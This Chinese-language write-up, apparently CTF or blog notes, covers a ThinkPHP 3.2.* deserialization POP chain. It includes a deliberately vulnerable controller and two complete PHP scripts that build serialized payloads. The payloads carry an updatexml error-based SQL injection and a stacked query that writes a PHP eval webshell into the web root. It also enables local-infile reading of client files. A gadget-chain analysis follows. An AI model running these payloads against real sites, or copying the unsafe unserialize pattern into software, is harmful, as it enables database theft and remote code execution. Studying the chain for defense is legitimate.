漏洞概述
反序列化链利用分析 ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
环境搭建
控制器写入
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ unserialize(base64_decode($_GET[1])); } }
|
漏洞利用
可实现报错注入
和 MySQL恶意服务端读取客户端文件
和 写shell
POC:因为PDO默认是支持多语句查询的,所以这个点是可以堆叠注入的
<?php namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true ); protected $config = array( "debug" => 1, "database" => "thinkphp", "hostname" => "127.0.0.1", "hostport" => "3306", "charset" => "utf8", "username" => "root", "password" => "root" ); } }
namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img;
public function __construct(){ $this->img = new Memcache(); } } }
namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle;
public function __construct(){ $this->handle = new Model(); } } }
namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null;
public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "mysql.user where 1=updatexml(1,concat(0x7e,user()),0x7e)#", "where" => "1=1" ); } } } namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }
|
写 shell "table"=>"mysql.users where 1=2;select \"<?php eval(\$_POST[0]);?>\" into outfile \"/var/www/html/1.php\"#",
|

如果关闭了堆叠注入
PDO加上了PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //
就可以把堆叠开了,再给个poc
<?php namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick { private $img;
public function __construct() { $this->img = new Memcache(); } } } namespace Think\Session\Driver{
use Think\Model;
class Memcache { protected $handle; public function __construct(){ $this->handle = new Model(); } } } namespace Think {
use Think\Db\Driver\Mysql;
class Model { protected $pk; protected $db; protected $data; public function __construct(){ $this->pk = 'id'; $this->data[$this->pk] = array( 'where'=>'1=1', 'table'=>'Users where 1=updatexml(1,concat(0x7e,database(),0x7e),1)#' ); $this->db = new Mysql(); } } } namespace Think\Db\Driver{ use PDO; class Mysql { protected $config = array( 'type' => 'mysql', // 数据库类型 'hostname' => '127.0.0.1', // 服务器地址 'database' => 'ctfshow', // 数据库名 'username' => 'root', // 用户名 'password' => 'root', // 密码 'hostport' => '3306', // 端口 'dsn' => '', // 'params' => array(), // 数据库连接参数 'charset' => 'utf8', // 数据库编码默认采用utf8 'prefix' => '', // 数据库表前缀 'debug' => true, // 数据库调试模式 'deploy' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) 'rw_separate' => false, // 数据库读写是否分离 主从式有效 'master_num' => 1, // 读写分离后 主服务器数量 'slave_no' => '', // 指定从服务器序号 'db_like_fields' => '', ); protected $options = array( PDO::ATTR_CASE => PDO::CASE_LOWER, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, PDO::ATTR_STRINGIFY_FETCHES => false, PDO::MYSQL_ATTR_LOCAL_INFILE => true, //读取本地文件~ PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~ ); } }
namespace { echo base64_encode(serialize(new \Think\Image\Driver\Imagick())); }
|
漏洞分析
跳板1
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

首先参数$this->img可控,去寻找destroy()方法
跳板2
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

$this->handle
,$this->sessionName
可控,这里注意,跳板1调用destroy时是无参调用,在php5环境下可以运行,在php7环境下不能运行
跳板3
接着寻找delete()方法
ThinkPHP/Mode/Lite/Model.class.php

走到最后利用处
/ThinkPHP/Library/Think/Db/Driver.class.php

看看这个parseTable

不管是数组还是字符串都进行parseKey方法进行处理

直接返回,所以说什么过滤都没有
再跟进execute()
方法

跟进

跟进

这里控制 $this->config
来连接数据库。
driver类时抽象类,用mysql类来实例化